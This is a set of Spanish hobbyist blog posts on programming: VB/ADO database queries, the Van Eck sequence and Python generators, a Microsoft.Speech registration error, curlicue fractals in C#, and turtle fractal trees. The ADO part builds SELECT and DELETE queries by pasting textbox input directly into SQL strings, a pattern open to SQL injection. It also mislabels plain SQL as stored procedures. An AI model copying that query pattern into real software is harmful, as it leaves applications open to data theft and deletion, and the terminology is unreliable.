Aquí hay que observar el primer parámetro que se le pasa a rs.Open:
"select * from Datos" esto significa que rs dee recibir todos los
registros de la tabla Datos de la base de datos.<br />
<br />
"select" es un comando de los Procedimientos Almacenados de las bases de
datos. Los Procedimientos Almacenados son órdenes que éstas interpretan
y ejecutan y se basan en la lógica booleana. Así, si yo quisiera todos
los registros cuyos Nombres coinciden con lo que se ingresa en Text3
(una búsqueda) basta poner:</span></span></p><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><table bgcolor="#000000" border="2" cellpadding="2" style="width: 92%px;">
<tbody><tr>
<td bgcolor="#FFFFFF" width="100%"><span style="font-family: courier;"><span style="font-size: small;">rs.Close<br />
rs.Open <span style="color: #660000;">"select * from Datos where Nombre = '"</span> & Text3.Text & <span style="color: #660000;">"'"</span>, db, adOpenDynamic, adLockOptimistic</span></span></td>
</tr>
</tbody></table><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><p align="left"><span style="font-size: small;"><span style="font-family: inherit;"><br />
Para buscar todos los registros que coincidan con Text1 ó con Text2 (Nombre o Apellido) se pondría:</span></span></p><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><table bgcolor="#000000" border="2" cellpadding="2" style="width: 92%px;">
<tbody><tr>
<td bgcolor="#FFFFFF" width="100%"><span style="font-family: courier;"><span style="font-size: small;">rs.Open <span style="color: #660000;">"select * from Datos where Nombre = '"</span> & Text1.Text & <span style="color: #660000;">"' or Apellido = '"</span> & Text2.Text & <span style="color: #660000;">"'"</span>,
db, adOpenDynamic, adLockOptimistic</span></span></td>
</tr>
</tbody></table><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><p align="left"><span style="font-size: small;"><span style="font-family: inherit;"><br />
(hay que tener cuidado de que el contenido de Text1 y Text2, o las
condiciones de búsqueda si son de tipo String, estén entre comillas
simples).<br />
<br />
Como rs se vuelve a abrir, es necesario cerrarlo previamente.<br />
<br />
Otro comando es "delete", cuando se lo usa el objeto rs se cierra
después de la ejecución porllo que ya no es necesario poner rs.Close.
Pero para que se pueda seguir navegando entre todos los registros de la
tabla Datos se debe vovler a abrir.<br />
</span></span></p><span style="font-size: small;"><span style="font-family: inherit;">
</span></span><table bgcolor="#000000" border="2" cellpadding="2" style="width: 92%px;">
<tbody><tr>
<td bgcolor="#FFFFFF" width="100%"><span style="font-family: courier;"><span style="font-size: small;">rs.Open <span style="color: #660000;">"delete * from Datos
where Nombre = '"</span> & Text1.Text & <span style="color: #660000;">"' and Apellido = '"</span> &
Text2.Text & <span style="color: #660000;">"'"</span>, db, adOpenDynamic, adLockOptimistic</span></span></td>
</tr>
</tbody></table><p><span style="font-size: small;"><span style="font-family: inherit;">
<br />
Esta orden borra los registros cuyo Nombre y Apellido coincidan con los textos en Text1 y Text2.<br />
<br />
Los procedimientos almacenados permiten realizar muchas cosas en la base
de datos. Por ejemplo, imaginando que se tiene una tabla "Empleados"
con campos "Edad" que contiene data numérica, "ID" y "Profesion". Luego
de hacer las conexiones respectivas, para obtener a todos los ID y las
profesiones correspondientes a mayores de edad se puede poner:</span></span></p><p><span style="font-size: small;"><span style="font-family: inherit;">
<span style="font-family: courier;">select ID, Profesion from Empleados where Edad > 18</span><br />
<br />
Para agregar un registro basta una función propia de rs: AddNew y luego
especificar los campos con la función "Fields" a donde se añadirán los
nuevos datos. Al recorrer los registros de atrás o hacia adelante
(propiedades MoveNext, MovePrevious, MoveLast y MoveFirst), o al hacer
una búsqueda, "Fields" se coloca automáticamente en el registro actual.<br />
<br />
Las propiedades de rs: EOF y BOF indican si se está al final o al
principio de la tabla Datos. Mientras no se lo esté, sus valores son
False. Tanto las búsquedas como los recorridos y los borrados de los
registros en las tablas de la base de datos deben hacerse mientras EOF y
BOF son False, si no nos "saldremos" de la base de datos y nos botará
error.<br />
<br />
Si en una búsqueda no se encuentra nada, EOF y BOF serán True.</span></span></p><p style="text-align: left;"><span style="font-size: small;"><span style="font-family: inherit;"> </span></span></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-65216511377935427172022-10-05T19:08:00.001-07:002022-10-05T19:18:40.468-07:00La secuencia de Van Eck en Python (y un poco acerca de la palabra reservada yield)<p>Buscando tutoriales ya no recuerdo de qué, me encontré con esto <a href="https://roytuts.com/van-eck-sequence-using-python/">Van Eck Sequence Using Python - Roy Tutorials (roytuts.com)</a></p><p>¡La Secuencia de Van Eck! Este link también la menciona:</p><p></p><p><a href="https://ibmathsresources.com/2019/06/12/the-van-eck-sequence/">The Van Eck Sequence | IB Maths Resources from Intermathematics</a> </p><p>Y ambos la explican de una forma horrible. En serio, a partir de esas explicaciones tan cutres intenté hacer mi propio algoritmo (sin mirar los de otros) y fue horrible. Tuve que ir a esta otra web <a href="https://en.everybodywiki.com/Van_Eck%27s_sequence">Van Eck's sequence - EverybodyWiki Bios & Wiki</a> y <strike>jugar un poco</strike> frustrarme dos horas armando mi propio código para hallar la verdadera explicación de cómo generar la secuencia de Van Eck:</p><p>1. Empieza con cero. En este ejercicio vamos a empezar siempre de cero.</p><p>2. Coge el último número de la secuencia.</p><p>3. Si ese número no se halla al menos dos veces en la secuencia, añade cero al final. Si se halla al menos dos veces, coge las dos últimas posiciones, réstalas, y el resultado se añade al final de la secuencia.</p><p>El código que me salió es:</p><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: black;">vanEckSeq = [</span><span style="color: #098658;">0</span><span style="color: black;">]</span></div><br /><div><span style="color: blue;">for</span><span style="color: black;"> _ </span><span style="color: blue;">in</span><span style="color: black;"> range(</span><span style="color: #098658;">0</span><span style="color: black;">, </span><span style="color: #098658;">20</span><span style="color: black;">):</span></div><div><span style="color: black;"> valor = vanEckSeq[-</span><span style="color: #098658;">1</span><span style="color: black;">] </span></div><div><span style="color: black;"> </span></div><div><span style="color: black;"> </span><span style="color: blue;">if</span><span style="color: black;"> vanEckSeq.count(valor) < </span><span style="color: #098658;">2</span><span style="color: black;">:</span></div><div><span style="color: black;"> vanEckSeq.append(</span><span style="color: #098658;">0</span><span style="color: black;">)</span></div><div><span style="color: black;"> </span><span style="color: blue;">else</span><span style="color: black;">:</span></div><div><span style="color: black;"> </span><span style="color: green;">#extraer últimos dos indices</span></div><div><span style="color: black;"> vanEckSeq0 = [c[</span><span style="color: #098658;">0</span><span style="color: black;">] </span><span style="color: blue;">for</span><span style="color: black;"> c </span><span style="color: blue;">in</span><span style="color: black;"> enumerate(vanEckSeq) </span><span style="color: blue;">if</span><span style="color: black;"> c[</span><span style="color: #098658;">1</span><span style="color: black;">] == valor]</span></div><div><span style="color: black;"> </span></div><div><span style="color: black;"> index1 = vanEckSeq0[-</span><span style="color: #098658;">1</span><span style="color: black;">]</span></div><div><span style="color: black;"> index2 = vanEckSeq0[-</span><span style="color: #098658;">2</span><span style="color: black;">]</span></div><div><span style="color: black;"> </span></div><div><span style="color: black;"> vanEckSeq.append(index1 - index2)</span></div><div><span style="color: black;"> </span></div><br /><div><span style="color: black;">print(vanEckSeq)</span></div></div><p></p><p><br /></p><p>No está mal porque una de las condiciones que me impuse es que no podía usar bucles anidados, es decir nada de:</p><div><span style="font-family: courier;"><span style="color: blue;">for</span><span style="color: black;"> _ </span><span style="color: blue;">in</span><span style="color: black;"> range(</span><span style="color: #098658;">0</span><span style="color: black;">, </span><span style="color: #098658;">20</span><span style="color: black;">):</span></span></div><div><span style="font-family: courier;"><span style="color: black;"><span> </span></span><span style="color: blue;">for</span><span style="color: black;"> _ </span><span style="color: blue;">in</span><span style="color: black;"> range(</span><span style="color: #098658;">0</span><span style="color: black;">, </span>whatever<span style="color: black;">):</span><span style="color: black;"> </span></span></div><div><span style="color: black;"> </span></div><div><span style="color: black;">Y además usa una función muy bonita de Python: <span style="font-family: courier;">enumerate</span> que devuelve una lista de tuplas cuyos elementos son (posición del elemento en la lista, elemento de la lista).<br /></span></div><div><span style="color: black;">Mi código se parece al del primer link, pero en el primer link hace algo que no me gusta: evaluar y usar todos los números naturales hasta un límite determinado, cuando en la definición de la secuencia de Van Eck se usan los valores que ya posee la secuencia.</span></div><div><span style="color: black;"><br /></span></div><div><span style="color: black;">Mi código además permite hacer cosas como esta:</span></div><div><span style="color: black;"><br /></span></div><div><span style="color: black;"></span><br /><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: blue;">def</span><span style="color: black;"> VanEck():</span></div><div><span style="color: black;"> vanEckSeq = [</span><span style="color: #098658;">0</span><span style="color: black;">]</span></div><br /><div><span style="color: black;"> </span><span style="color: blue;">while</span><span style="color: blue;">(</span><span style="color: blue;">True</span><span style="color: blue;">)</span><span style="color: black;">:</span></div><div><span style="color: black;"> valor = vanEckSeq[-</span><span style="color: #098658;">1</span><span style="color: black;">]</span></div><div><span style="color: black;"> </span></div><div><span style="color: black;"> </span><span style="color: blue;">if</span><span style="color: black;"> vanEckSeq.count(valor) < </span><span style="color: #098658;">2</span><span style="color: black;">:</span></div><div><span style="color: black;"> vanEckSeq.append(</span><span style="color: #098658;">0</span><span style="color: black;">)</span></div><div><span style="color: black;"> </span><span style="color: blue;">else</span><span style="color: black;">:</span></div><div><span style="color: black;"> </span><span style="color: green;">#extraer últimos dos indices</span></div><div><span style="color: black;"> vanEckSeq0 = [c[</span><span style="color: #098658;">0</span><span style="color: black;">] </span><span style="color: blue;">for</span><span style="color: black;"> c </span><span style="color: blue;">in</span><span style="color: black;"> enumerate(vanEckSeq) </span><span style="color: blue;">if</span><span style="color: black;"> c[</span><span style="color: #098658;">1</span><span style="color: black;">] == valor]</span></div><div><span style="color: black;"> </span></div><div><span style="color: black;"> index1 = vanEckSeq0[-</span><span style="color: #098658;">1</span><span style="color: black;">]</span></div><div><span style="color: black;"> index2 = vanEckSeq0[-</span><span style="color: #098658;">2</span><span style="color: black;">]</span></div><div><span style="color: black;"> </span></div><div><span style="color: black;"> vanEckSeq.append(index1 - index2)</span></div><div><span style="color: black;"> </span></div><div><span style="color: black;"> </span><span style="color: blue;">yield</span><span style="color: black;"> vanEckSeq[-</span><span style="color: #098658;">1</span><span style="color: black;">]</span></div><div><span style="color: black;"> </span></div><div><span style="color: black;"> </span></div><div><span style="color: black;">generator = VanEck()</span></div><div><span style="color: black;"> </span></div><div><span style="color: blue;">for</span><span style="color: black;"> _ </span><span style="color: blue;">in</span><span style="color: black;"> range (</span><span style="color: #098658;">0</span><span style="color: black;">, </span><span style="color: #098658;">20</span><span style="color: black;">):</span></div><div><span style="color: black;"> print (next(generator))</span></div><br /><div><span style="color: green;"># ... some code....</span><br /></div><div><span style="color: black;">print (next(generator))</span><div style="background-color: white; color: black; font-family: Consolas, "Courier New", monospace; font-size: 14px; font-weight: normal; line-height: 19px; white-space: pre;"><div><span style="color: green;"># ... some other half million lines of code....</span><br /></div><div><span style="color: black;">print (next(generator))</span></div></div></div></div></div><p></p><p><br /></p><p>Puedo generar una función que devuelve el último valor de la secuencia de forma indefinida. En casi todos los tutoriales que he revisado del uso de la palabra resevada <span style="font-family: courier;">yield</span> se usa un bucle para mostrar cómo funciona. Esto no demuetra el poder de <span style="font-family: courier;">yield</span>, el cual permite obtener un generador el cual devolverá el siguiente valor de la operación cuando se necesite, no es necesario que esté dentro de un bucle. <span style="font-family: courier;">yield</span> permite que Python guarde el estado de todas las variables dentro de la función (que en este caso devuelve un generador), para que estén listas para la siguiente llamada <span style="font-family: courier;">next()</span> del generador.</p><p>Codifiqué esto en Python 3.9 con Visual Code en Windows 10.<br /></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-80088585780305542452022-06-09T19:44:00.007-07:002022-06-10T07:31:08.042-07:00Error "Clase no registrada" al usar Microsoft.Speech en Visual Studio 2019 y Windows 10<p>Un día quise jugar con las librerías de Microsoft Speech para hacer hablar a mi laptop. Las descargas fueron las siguientes:</p><p>Microsoft Speech Platform Runtime. Descargué el instalador de 64 y 32 bits, bastan los instaladores de la plataforma en la que se compila la aplicación, pero por el error que explicaré más abajo tuve que probar ambos:<br /></p><p><a href="https://www.microsoft.com/en-us/download/details.aspx?id=27225">https://www.microsoft.com/en-us/download/details.aspx?id=27225</a></p><p>Microsoft Speech Platform Runtime Languages:</p><p><a href="https://www.microsoft.com/en-us/download/details.aspx?id=27224">https://www.microsoft.com/en-us/download/details.aspx?id=27224</a></p><p>Los paquetes para reconocimiento de audio son los que dicen TELE, los paquetes para convertir texto a voz son los que tienen nombres de personas. Yo descargué los paquetes de español México y español España. En total fueron 4 paquetes de idioma.<br /></p><p>Lo siguiente que hice fue crear un proyecto de C# con .Net Framework. Referencié el archivo Microsoft.Speech.dll en mi proyecto:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNSFTfmk8lb7-p0UcNXDcVsfvLK3OdCCV2bjxkV8xHs9b1SK-eaHaI73xMgPfc_JdE6zsT3n85UalaNMeGWMe0F05UAzIbebYC_KpIpjcOlMwE2SEZpT-WDoHtW8wNvGoAtgNG8zhJ7tEq9pTyyaroXsfNRERfnrpHdvQiAS8pmx0KVW7UraiuX6db/s464/Captura.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="464" data-original-width="377" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNSFTfmk8lb7-p0UcNXDcVsfvLK3OdCCV2bjxkV8xHs9b1SK-eaHaI73xMgPfc_JdE6zsT3n85UalaNMeGWMe0F05UAzIbebYC_KpIpjcOlMwE2SEZpT-WDoHtW8wNvGoAtgNG8zhJ7tEq9pTyyaroXsfNRERfnrpHdvQiAS8pmx0KVW7UraiuX6db/s16000/Captura.PNG" /></a></div><p></p><p>Para 64 bits, la dll está en C:\Program Files\Microsoft SDKs\Speech\v11.0\Assembly</p><p>Para 32 bits, está en C:\Program Files (x86)\Microsoft SDKs\Speech\v11.0\Assembly<br /></p><p></p><p>Finalmente copié y pequé un poco del código de esta web: <a href="https://docs.microsoft.com/en-us/archive/msdn-magazine/2014/december/voice-recognition-speech-recognition-with-net-desktop-applications">https://docs.microsoft.com/en-us/archive/msdn-magazine/2014/december/voice-recognition-speech-recognition-with-net-desktop-applications</a></p><p></p><p><span style="font-family: courier;"> <span style="color: #2b00fe;">static void </span>Main(string[] args)<br /> {<br /> <span style="color: #2b00fe;">try</span><br /> {<br /> ss.SetOutputToDefaultAudioDevice();<br /> Console.WriteLine(<span style="color: #990000;">"\n(Speaking: I am awake)"</span>);<br /> ss.Speak(<span style="color: #990000;">"He despertado"</span>);<br /> CultureInfo ci = new CultureInfo(<span style="color: #990000;">"es-PE"</span>);<br /> }<br /> <span style="color: #2b00fe;">catch </span>(Exception ex)<br /> {<br /> Console.WriteLine(ex.Message);<br /> Console.ReadLine();<br /> }<br /> }</span><br /></p><p>Y apenas empezar el debugueo me saltó este error:</p><p><span style="font-family: courier;">Retrieving the COM class factory for component with CLSID
{D941651C-44E6-4C17-BADF-C36826FC3424} failed due to the following
error: 80040154 Class not registered (Exception from HRESULT:
0x80040154 (REGDB_E_CLASSNOTREG)).</span></p><p>Luego de intentar varias soluciones: cambiar a 32 bits, cambiar a .Net Framework 4, iniciar Visual Studio como administrador, lo único que funcionó fue lo <a href="https://social.msdn.microsoft.com/Forums/vstudio/en-US/395d8959-cce0-4534-abe8-78106d544c93/microsoft-speech-11-sdk-issues?forum=csharpgeneral" rel="nofollow" target="_blank">propuesto en este foro</a>: </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhqaP4_-c8THBhxqIGerF-4yffs9PFizfZ3hFJlOa6rJKjg_0XRGNVC-S4FE52gnhlmkGUoddaDKBcvxUpJLj1uxL1Z3VZRuom1DSaCh1M4HfmQQuDcs0hWwRlOsq0TI8f0YgsHiBXTF7IvLWlVvYdE22cv1M9OwBzRcqtHA-VdBepEcun0O1BMBkF/s734/Captura.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="72" data-original-width="734" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhqaP4_-c8THBhxqIGerF-4yffs9PFizfZ3hFJlOa6rJKjg_0XRGNVC-S4FE52gnhlmkGUoddaDKBcvxUpJLj1uxL1Z3VZRuom1DSaCh1M4HfmQQuDcs0hWwRlOsq0TI8f0YgsHiBXTF7IvLWlVvYdE22cv1M9OwBzRcqtHA-VdBepEcun0O1BMBkF/s16000/Captura.PNG" /></a></div><br /><p>En 64 bits el instalador está en C:\Program Files\Microsoft SDKs\Speech\v11.0\Redist</p><p></p><p>En 32 bits está en C:\Program Files (x86)\Microsoft SDKs\Speech\v11.0\Redist</p><p>Al ejecutar los instaladores se pueden ver los mensajes de que se están registrando las dlls.<br /></p><p>Lugo volví a referenciar la dll de 64 bits, cambié a .Net Framework 4.5, puse que se trata de una aplicación de 64 bits, y probé.</p><p>Funcionó, la aplicación puede decir "He despertado" con la voz de una mujer (apodada Hilda).</p><p>Ya puedo ponerle voz a mis aplicaciones de C# :)</p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-10352358016546512762022-04-28T10:10:00.001-07:002022-04-28T10:15:53.226-07:00"Curlicue Fractals" con Visual C#<p>Otra entrada migrada de la vieja web, la cual ha perecido con dignidad. De a pocos voy a ir copiando mis viejos tutoriales a este blog, ¡hay que tener paciencia!</p><p>Rod Stephens, autor de <a href="http://csharphelper.com/">http://csharphelper.com/</a> tenía un tutorial sobre cómo dibujar estos fractales, pero él también ha tenido problemas con su web y el tutorial ya no está disponible. Voy a poner aquí lo que yo <span style="font-family: inherit;">tengo, mi código está basado en el de Rod, así que los créditos van para él.</span></p><p><span style="font-family: inherit;">Al revisar la documentación en <a href="http://mathworld.wolfram.com/CurlicueFractal.html">http://mathworld.wolfram.com/CurlicueFractal.html</a>
noté que sólo menciona dos ecuaciones cuando en el código fuente de Rod (ya no disponible) se usan
cuatro:</span></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9NMmaFIjgMVN7K-d4Zee7BjfeZJNShU2crD3G2X6H_b-cCDn_2RTv0wXGNg2P7LmRUU9LWZo3B4NrdgKwdDtXJIfWu11PRA0N9T2OKLk6Y6pIjy-S-ni2b7o45HukKKWtv9S1l6LuJ8oVx9zekHbKBJIC-WsmMtQPK6f4f9O7VP6nyRr7nu_vsbyi/s554/curlicue01.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="259" data-original-width="554" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9NMmaFIjgMVN7K-d4Zee7BjfeZJNShU2crD3G2X6H_b-cCDn_2RTv0wXGNg2P7LmRUU9LWZo3B4NrdgKwdDtXJIfWu11PRA0N9T2OKLk6Y6pIjy-S-ni2b7o45HukKKWtv9S1l6LuJ8oVx9zekHbKBJIC-WsmMtQPK6f4f9O7VP6nyRr7nu_vsbyi/s16000/curlicue01.gif" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><div class="separator" style="clear: both; text-align: left;"><span style="font-family: inherit;">Al seguir examinando
se puede ver que las ecuaciones de la documentación de Mathworld
generan ángulos, y lo que se dibujan son líneas que necesitan las
coordenadas de los puntos inicial y final. </span></div><p></p><p align="left"><span style="font-family: inherit;">La traducción del algoritmo es la siguiente: <i>Se tiene una línea de
longitud 1, paralela al eje x. Se calcula un número theta con la
ecuación, luego, con la ecuación se calcula el nuevo ángulo de la
siguiente línea de longitud 1, cuyo punto inicial será el extremo final
de la línea anterior.<br />
Al final resulta un ángulo. Su módulo es 1. Para calcular las
coordenadas se multiplica por el coseno (coordenada x) y el seno
(coordenada y).</i><br />
<br />
Mi programa está basado en el algoritmo de Rob, pero con algunas cosas
añadidas, como zoom y poder posicionar el fractal, además emplea el objeto
Graphics de una forma diferente para dibujar el fractal, también añadí un
número aleatorio para jugar con los colores:</span></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYwi1Ha3X2My6u2fcICMLa5-4044TvSjrAzqN9oa8Wciiu1XXOD7VtGUoAV6_LfKhXSbgMGNnyRc9FG7S79QPWgu5qpJ5AgPttlpNLbhPSZy1S86w2oXn5aSIBc6YZLU2VtadvQ5Yj_nH2l-2DwpE3wZPgVXcWMjohutcmjppiBNCm47_ZxbgYAHKQ/s512/curlicue02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="512" data-original-width="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYwi1Ha3X2My6u2fcICMLa5-4044TvSjrAzqN9oa8Wciiu1XXOD7VtGUoAV6_LfKhXSbgMGNnyRc9FG7S79QPWgu5qpJ5AgPttlpNLbhPSZy1S86w2oXn5aSIBc6YZLU2VtadvQ5Yj_nH2l-2DwpE3wZPgVXcWMjohutcmjppiBNCm47_ZxbgYAHKQ/s16000/curlicue02.jpg" /></a></div><p align="center"><span style="text-align: left;"><span style="font-family: inherit;"><br /></span></span></p><p align="center"><span style="text-align: left;"><span style="font-family: inherit;">El fractal se genera sólo a partir de un
número irracional. Si se utiliza un número racional sólo aparecerá una
línea horizontal.</span></span></p><p>
</p><p><span style="font-family: inherit;"><a href="https://drive.google.com/file/d/1EiQELVS171_rDVidCufDMsr9noAB2x43/view?usp=sharing" rel="nofollow" target="_blank">La aplicación se puede descargar de aquí (para Visual C# 2008).</a></span></p>Broken_Windowhttp://www.blogger.com/profile/01485252540288156823noreply@blogger.com0tag:blogger.com,1999:blog-1158634561357243831.post-19794330388293440912022-03-25T13:31:00.003-07:002022-03-28T11:41:57.858-07:00Dibujando arbolitos fractales con la tortuga de Python<p>Éste fue un pequeño ejercicio para practicar recursividad. La idea es dibujar un arbolito fractal con tres ramitas. Ya antes había revisado el código para dibujar estos árboles, pero quise tener mi propia implementación. Después de un buen rato probando, dibujando en un papel cómo debían salir las ramitas, y dónde debía poner la bifurcación recursiva, terminé con este código:</p><div style="background-color: white; font-family: Consolas, "Courier New", monospace; font-size: 14px; line-height: 19px; white-space: pre;"><div><span style="color: #af00db;">import</span> <span style="color: #267f99;">turtle</span> <span style="color: #af00db;">as</span> <span style="color: #267f99;">t</span></div><br /><div><span style="color: blue;">def</span> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">x</span>, <span style="color: #001080;">y</span>, <span style="color: #001080;">angle</span>, <span style="color: #001080;">lenght</span>, <span style="color: #001080;">n</span>):</div><div> <span style="color: #af00db;">if</span> <span style="color: #001080;">n</span> > <span style="color: #098658;">0</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">penup</span>()</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">goto</span>(<span style="color: #001080;">x</span>, <span style="color: #001080;">y</span>)</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">pendown</span>()</div><div> <span style="color: #267f99;">t</span>.<span style="color: #001080;">seth</span>(<span style="color: #001080;">angle</span>)</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">forward</span>(<span style="color: #001080;">lenght</span>)</div><div> <span style="color: #001080;">cx</span> = <span style="color: #267f99;">t</span>.<span style="color: #795e26;">xcor</span>()</div><div> <span style="color: #001080;">cy</span> = <span style="color: #267f99;">t</span>.<span style="color: #795e26;">ycor</span>()</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span> + <span style="color: #098658;">30</span>, <span style="color: #001080;">lenght</span> / <span style="color: #098658;">1.3</span>, <span style="color: #001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span> - <span style="color: #098658;">30</span>, <span style="color: #001080;">lenght</span> / <span style="color: #098658;">1.3</span>, <span style="color: #001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span>, <span style="color: #001080;">lenght</span> / <span style="color: #098658;">1.3</span>, <span style="color: #001080;">n</span>-<span style="color: #098658;">1</span>)</div><div> <span style="color: #af00db;">else</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">hideturtle</span>()</div><div> <span style="color: #af00db;">return</span> <span style="color: #098658;">0</span></div><br /><br /><div><span style="color: #795e26;">drawit</span>(<span style="color: #098658;">0</span>, -<span style="color: #098658;">100</span>, <span style="color: #098658;">90</span>, <span style="color: #098658;">100</span>, <span style="color: #098658;">7</span>)</div><div><span style="color: #267f99;">t</span>.<span style="color: #795e26;">mainloop</span>()</div></div><p><br /></p><p>la variable <span style="font-family: courier;">n</span> indica la profundidad hasta la que se dibujarán las ramas, otra forma es dibujar las ramas hasta que llegan a una longitud mínima. Las variables <span style="font-family: courier;">x, y, angle, lenght</span> indican las coordenadas desde dónde se dibujarán las ramas, el ángulo y la longitud respectivamente. La función <span style="font-family: courier;">seth()</span> de la tortuga setea el ángulo en el que se empezará a dibujar. Las funciones <span style="font-family: courier;">xcor()</span> y <span style="font-family: courier;">ycor()</span> capturan las coordenadas actuales de la tortuga.</p><p>La tortuga primero dibuja el tronco del árbol en la posición (0, -100) en un ángulo de 90 grados. A continuación se bifurca en tres ramas, cada una dibujando un "tronco" en el ángulo y la longitud indicadas a partir de las coordenadas donde la tortuga terminó de dibujar. Para evitar que se confunda, le ordeno ir a esas coordenadas, antes de empezar a dibujar, con la función <span style="font-family: courier;">goto()</span>.</p><p>El resultado es:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKYDyPHn7k7yH1keFyrOlKKL0F7x_KWSQADMJtZKeaFuWaXCCNhvS8BXPFJRdZpub2AYJ5MnuR2FH6OXd0OFhJTDWcqRo9GhBfQK9Xqqt1Yh4Ys7o3obnXi9ixrP7paH6jqhO99iE0dvVlO6IfqW-vz-0d4Qx0Y-5jTTj4M7QJbLW5ALB16GijNTE/s584/Captura.PNG" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="524" data-original-width="584" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipKYDyPHn7k7yH1keFyrOlKKL0F7x_KWSQADMJtZKeaFuWaXCCNhvS8BXPFJRdZpub2AYJ5MnuR2FH6OXd0OFhJTDWcqRo9GhBfQK9Xqqt1Yh4Ys7o3obnXi9ixrP7paH6jqhO99iE0dvVlO6IfqW-vz-0d4Qx0Y-5jTTj4M7QJbLW5ALB16GijNTE/s16000/Captura.PNG" /></a></div><br /><div class="separator" style="clear: both; text-align: justify;"><a href="https://pythonturtle.academy/golden-fractal-tree-with-python-turtle-source-code/" rel="nofollow" target="_blank">En esta web </a>también dibujan un árbol fractal, y además le ponen color, voy a usar el mismo truco para colorear mi árbol:</div><div class="separator" style="clear: both; text-align: justify;"><br /></div><div class="separator" style="clear: both; text-align: justify;"><div style="background-color: white; font-family: Consolas, "Courier New", monospace; font-size: 14px; line-height: 19px; white-space: pre;"><div><span style="color: #af00db;">import</span> <span style="color: #267f99;">turtle</span> <span style="color: #af00db;">as</span> <span style="color: #267f99;">t</span></div><div><span style="color: #af00db;">import</span> <span style="color: #267f99;">math</span></div><br /><div><span style="color: blue;">def</span> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">x</span>, <span style="color: #001080;">y</span>, <span style="color: #001080;">angle</span>, <span style="color: #001080;">lenght</span>, <span style="color: #001080;">n</span>):</div><div> <span style="color: #af00db;">if</span> <span style="color: #001080;">n</span> > <span style="color: #098658;">0</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">penup</span>()</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">goto</span>(<span style="color: #001080;">x</span>, <span style="color: #001080;">y</span>)</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">pendown</span>()</div><div> <span style="color: #267f99;">t</span>.<span style="color: #001080;">seth</span>(<span style="color: #001080;">angle</span>)</div><br /><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">pensize</span>(<span style="color: #267f99;">math</span>.<span style="color: #795e26;">log</span>(<span style="color: #001080;">lenght</span>,<span style="color: #098658;">2</span>)/<span style="color: #098658;">3</span>)</div><div> <span style="color: #af00db;">if</span> <span style="color: #001080;">n</span> < <span style="color: #098658;">2</span>:</div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">color</span>(<span style="color: #a31515;">'forest green'</span>)</div><div> <span style="color: #af00db;">else</span>: </div><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">color</span>(<span style="color: #a31515;">'gray'</span>)</div><br /><div> <span style="color: #267f99;">t</span>.<span style="color: #795e26;">forward</span>(<span style="color: #001080;">lenght</span>)</div><div> <span style="color: #001080;">cx</span> = <span style="color: #267f99;">t</span>.<span style="color: #795e26;">xcor</span>()</div><div> <span style="color: #001080;">cy</span> = <span style="color: #267f99;">t</span>.<span style="color: #795e26;">ycor</span>()</div><div> <span style="color: #795e26;">drawit</span>(<span style="color: #001080;">cx</span>, <span style="color: #001080;">cy</span>, <span style="color: #001080;">angle</span> + <span style="color: #098658;">30</span>, <span style="color: #001080;">lenght</span> / <span style="color: #098658;">1.3</span>, <span style="color: 